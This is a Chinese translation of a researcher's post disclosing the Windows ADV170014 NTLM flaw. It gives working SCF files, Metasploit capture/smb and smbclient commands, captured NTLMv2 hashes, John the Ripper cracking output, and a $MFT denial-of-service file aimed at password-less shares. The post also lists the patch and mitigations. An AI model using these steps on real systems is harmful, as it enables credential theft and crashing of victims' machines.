2017年10月,微软周二补丁日发布的补丁中有一个可选的安全补丁:ADV170014,,这个补丁修复了NTLM认证机制的一个bug,恶意攻击者可以利用这个bug窃取用户密码hash并可以远程利用该漏洞让目标机器死机。
我在2017年5月24日报告了这个bug,微软官方在2017年10月18日关闭了这个bug。
Microsot花了整整148天来确认检查问题。
在10月的周二补丁日之后,官方的解决方案已经发布,所以我打算公开漏洞的细节。现在就看系统管理员们会不会安装这个补丁了,如果他们的系统可以安装这个补丁的话(我们下面再聊修复的话题)。
漏洞
微软的NTLM架构有一些缺陷,这个大家都知道,窃取哈希值也不是什么新鲜事,一个渗透者攻击微软环境做的第一件事可能就是窃取哈希。
但是,这些攻击方法大多都需要用户操作或者流量拦截。
而这篇博客要介绍的攻击并不需要用户进行操作,所有的事情都是在攻击端完成的,不过要成功的完成这样攻击还需要一些特定条件。
攻击场景
这种攻击需要在目标机器上有共享文件夹而且没有密码保护,这种场景在办公室、学校、医院很常见,基本上都是windows系统,可以通过共享文件来分享音乐、照片和文档。
现在假设有一个用户“juan”,他在电脑上创建了一个名为“Prueba2”的文件夹,并决定将整个文件分享给他的团队。
windows系统创建共享文件夹
现在,我们打开“Sharing”标签,修改文件夹属性,以允许共享文件并且不需要使用密码。
打开共享标签配置文件共享属性
这里我们可看到共享文件夹的路径:\\JUAN-PC\Users\juan\Desktop\prueba2,现在我们点击“Network and Sharing center”
网络和共享中心:关闭密码保护
这里我们点击“Turn off password protected sharing”(关闭网络共享)选项,这样就允许任意用户访问共享文件夹而且不需要认证。
SCF 文件
微软从Windows 3.11开始引入了SCF文件。SCF文件是一些纯文本文件,可以让Windows文件浏览器来执行一些基本的任务。
其实已经有一些基于SCF文件的攻击了,但是这些攻击都需要用户操作来执行SCF文件。
来看看两个最近的例子,来自Defense Code 的Bosko Stankovic发现的攻击:Stealing Windows Credentials Using Google Chrome(使用谷歌Chrome浏览器窃取Windows认证文件),以及Black Hat 2015上Jonathan Brossard和Hormazd Billimoria演示的攻击:SMB: Sharing more than just your files(SMB:共享的不仅仅是你的文件)。
一个基本的SCF文件结构就像下面这样:
[Shell]
Command=2
IconFile=\\192.168.1.101\share\test.ico
[Taskbar]
Command=ToggleDesktop
就这么简单,值得要说的一点是SCF文件是Windows很模糊的一个功能,相关的文档近乎于无。
攻击,窃取哈希值
要实施这次攻击,我们打算使用Metasploit,还有一个SCF文件,SCF文件可根据下面的代码进行创建:
root@sysadminjd:~# cat test.scf
[Shell]
Command=2
IconFile=\\192.168.1.111\share\test.ico
[Taskbar]
Command=ToggleDesktop
root@sysadminjd:~#
192.168.1.111 是我们攻击机器的ip地址,我们在这台机器上运行了Metasploit的capture/smb模块:
root@sysadminjd:~# msfconsole -q
msf > use auxiliary/server/capture/smb
msf auxiliary(smb) > set JOHNPWFILE /tmp/smbhash.txt
JOHNPWFILE = /tmp/smbhash.txt
msf auxiliary(smb) > exploit -j
[*] Auxiliary module running as background job
[*] Server started.
msf auxiliary(smb)
我们将使用John the Ripper来破解获取到的哈希值,这也是为什么我们设置了JOHNPWFILE选项,将其指向文件:/tmp/smbhash.txt,我们截获的windows哈希值将会存放到这里。
现在,“Prueba2”文件是空的(不是空的也行)。
攻击前的共享文件夹
各项准备已就位,我们将SCF文件上传到有共享文件夹,可以使用任何你喜欢的方法:OSX Finder、Windoes文件管理器,我们在这里使用smb客户端的命令行。
root@sysadminjd:~# smbclient //192.168.1.67/Users
WARNING: The "syslog" option is deprecated
Enter root's password:
OS=[Windows 7 Ultimate 7601 Service Pack 1] Server=[Windows 7 Ultimate 6.1]
smb: \> cd juan
smb: \juan\> cd Desktop\
smb: \juan\Desktop\> cd prueba2\
smb: \juan\Desktop\prueba2\> put test.scf
putting file test.scf as \juan\Desktop\prueba2\test.scf (88.9 kb/s) (average 88.9 kb/s)
smb: \juan\Desktop\prueba2\> ls
. D 0 Mon Oct 23 12:27:15 2017
.. D 0 Mon Oct 23 12:27:15 2017
.DS_Store AH 6148 Tue May 23 17:29:03 2017
test.scf A 91 Mon Oct 23 12:27:15 2017
6527487 blocks of size 4096. 4043523 blocks available
smb: \juan\Desktop\prueba2\>
root@sysadminjd:~#
现在我们将提前制作好的SCF文件上传到共享文件夹里了:
包含SCF文件的共享文件夹
现在我们的Metasploit Console会显示如下:
msf auxiliary(smb) >
[*] SMB Captured - 2017-10-23 12:27:15 -0400
NTLMv2 Response Captured from 192.168.1.67:49163 - 192.168.1.67
USER:juan DOMAIN:juan-PC OS: LM:
LMHASH:Disabled
LM_CLIENT_CHALLENGE:Disabled
NTHASH:47894338d99abe2f08e2c693618c7323
NT_CLIENT_CHALLENGE:0101000000000000d0046aca1b4cd301d755c3756d5639d800000000020000000000000000000000
[*] SMB Captured - 2017-10-23 12:27:15 -0400
NTLMv2 Response Captured from 192.168.1.67:49163 - 192.168.1.67
USER:juan DOMAIN:juan-PC OS: LM:
LMHASH:Disabled
LM_CLIENT_CHALLENGE:Disabled
NTHASH:e97b70559f29462e2ca221d31113b9ca
NT_CLIENT_CHALLENGE:0101000000000000a0177dca1b4cd301f59d5c5d52708e3b00000000020000000000000000000000
[*] SMB Captured - 2017-10-23 12:27:15 -0400
NTLMv2 Response Captured from 192.168.1.67:49163 - 192.168.1.67
USER:juan DOMAIN:juan-PC OS: LM:
LMHASH:Disabled
LM_CLIENT_CHALLENGE:Disabled
NTHASH:eb8b228b739cc95a12d7e0d89d89e002
NT_CLIENT_CHALLENGE:0101000000000000620389ca1b4cd3017283fc96884767b700000000020000000000000000000000
[*] SMB Captured - 2017-10-23 12:37:09 -0400
NTLMv2 Response Captured from 192.168.1.67:49164 - 192.168.1.67
USER:juan DOMAIN:juan-PC OS: LM:
LMHASH:Disabled
LM_CLIENT_CHALLENGE:Disabled
NTHASH:4abb0803c4afd1509bfca3bbc566ad70
NT_CLIENT_CHALLENGE:010100000000000076d7742c1d4cd30161b2c77a54bd58fe00000000020000000000000000000000
[*] SMB Captured - 2017-10-23 12:37:09 -0400
NTLMv2 Response Captured from 192.168.1.67:49164 - 192.168.1.67
USER:juan DOMAIN:juan-PC OS: LM:
LMHASH:Disabled
LM_CLIENT_CHALLENGE:Disabled
NTHASH:5eeb82aab85e9663624aaf6500e4d8f8
NT_CLIENT_CHALLENGE:010100000000000046ea872c1d4cd301c7a724adf323918c00000000020000000000000000000000
[*] SMB Captured - 2017-10-23 12:37:09 -0400
NTLMv2 Response Captured from 192.168.1.67:49164 - 192.168.1.67
USER:juan DOMAIN:juan-PC OS: LM:
LMHASH:Disabled
LM_CLIENT_CHALLENGE:Disabled
NTHASH:55a0cb725a5a171cffdccea36fdcd934
NT_CLIENT_CHALLENGE:010100000000000054118f2c1d4cd301f718b1ba2d4efc7800000000020000000000000000000000
正如你看到的那样,一次上传会触发几次认证请求,这个不用管。
现在我们已经得到了截获的密码哈希值了,我们可以使用John进行破解。
root@sysadminjd:~# cd /tmp/
root@sysadminjd:/tmp# john smbhash.txt_netntlmv2
Using default input encoding: UTF-8
Rules/masks using ISO-8859-1
Loaded 6 password hashes with 6 different salts (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Press 'q' or Ctrl-C to abort, almost any other key for status
abc (juan)
abc (juan)
abc (juan)
abc (juan)
abc (juan)
abc (juan)
6g 0:00:00:00 DONE 2/3 (2017-10-23 12:27) 75.86g/s 404596p/s 585124c/s 585124C/s abc
Use the "--show" option to display all of the cracked passwords reliably
Session completed
root@sysadminjd:/tmp#
John破解出来了哈希值,登录的用户“juan”使用了弱密码“abc”。
攻击,让目标机器死机
第二个攻击,我们可以远程让目标机器死机,来看看是怎么实现的:
我们还是需要可被攻击的共享文件夹,我们同样还需要一个SCF文件,只不过构造有点不同:
root@sysadminjd:~# cat mft.scf
[Shell]
Command=2
IconFile= c:\$MFT\123
[Taskbar]
Command=ToggleDesktop
root@sysadminjd:~#
这个SCF文件包含一个对$MFT的调用,这将会锁定NTFS文件系统,关于这个利用在这篇文章里有过讨论(不好意思,只有西班牙语的),或者你可以去网上找找关于这个利用的其它资料。
现在我们将SCF文件上传到目标机器上,(再一次使用smbclient):
root@sysadminjd:~# smbclient //192.168.1.67/Users
WARNING: The "syslog" option is deprecated
Enter root's password:
OS=[Windows 7 Ultimate 7601 Service Pack 1] Server=[Windows 7 Ultimate 6.1]
smb: \Z cd
Default\ desktop.ini juan\ Public\
smb: \> cd juan\Desktop\prueba2\
smb: \juan\Desktop\prueba2\> ls
. D 0 Wed May 24 18:08:34 2017
.. D 0 Wed May 24 18:08:34 2017
.DS_Store AH 6148 Tue May 23 17:29:03 2017
1.exe A 7168 Tue May 23 17:29:03 2017
prueba.scf A 92 Wed May 24 18:08:34 2017
6527487 blocks of size 4096. 4156104 blocks available
smb: \juan\Desktop\prueba2\> put mft.scf
putting file mft.scf as \juan\Desktop\prueba2\mft.scf (17.6 kb/s) (average 17.6 kb/s)
就这样,不需要攻击者或者被攻击者进行其他的操作,目标机器现在已经锁定了文件系统,然后就静静等它重启了。
受影响的版本
根据微软官方,从Windows 3.11 到Windows10 的所有版本,不管是桌面版本还是服务器版本都会受到该漏洞影响。
坦白的讲,我只在Windows 7 和 Windows 10上做了测试,然后我就把“锅”丢给微软了。
修复方法
微软发布了针对这个漏洞的补丁,修改了两项注册表键值来关闭操作系统的NTLM。然而这个注册表键只在Windows 10和Windows Server 2016上有,微软没有打算发布对其他版本的修复补丁。
另一个问题是,禁用NTLM会破坏很多环境,这是微软他们的担忧。
我的建议是,使用强密码,在攻击之后,攻击者需要破解获取的哈希值,如果密码足够复杂那么破解过程将需要大量时间,足够让攻击者放弃。
更好的方法是:不要无密码共享文件夹,这样会比较彻底些。
致谢以及最后的评论
这个漏洞已经存在很长时间了,我已经利用这个漏洞差不多一年了(当然是用在我的渗透测试项目上)。
这个漏洞如此简单,几乎任何人都可以利用,不过好的一点是,这个漏洞的成功利用需要特定的条件,而windows默认配置是不会受影响的。
我想感谢微软SRC,他们辛苦工作来修复这个漏洞,并且提供了针对这个问题的部分补丁,一个针对所有版本windows版本的补丁也是不太可能的。
这个攻击的发现还得力于来自Defense Code的Bosko Stankovic的杰出工作:Stealing Windows Credentials Using Google Chrome以及 Jonathan Brossard/Hormazd Billimoria 在Blackhat的演讲:SMB: Sharing more than just your files。
当然,也感谢大家阅读这篇略长的博客。
Cheers!
--------------------------------------------分割线------------------------------------------------------------------
根据原作者的博客简单的测试了下,第一个攻击成功了,获取了用户的密码哈希。但是第二个让服务器死机的没有复现成功。
译者测试的环境是Windows Server 2003中文版。感兴趣的小伙伴试一试在其他版本的系统能不能复现成功。
本文由看雪翻译小组 Limp 编译,来源@Sysadmin Life 转载请注明来自看雪社区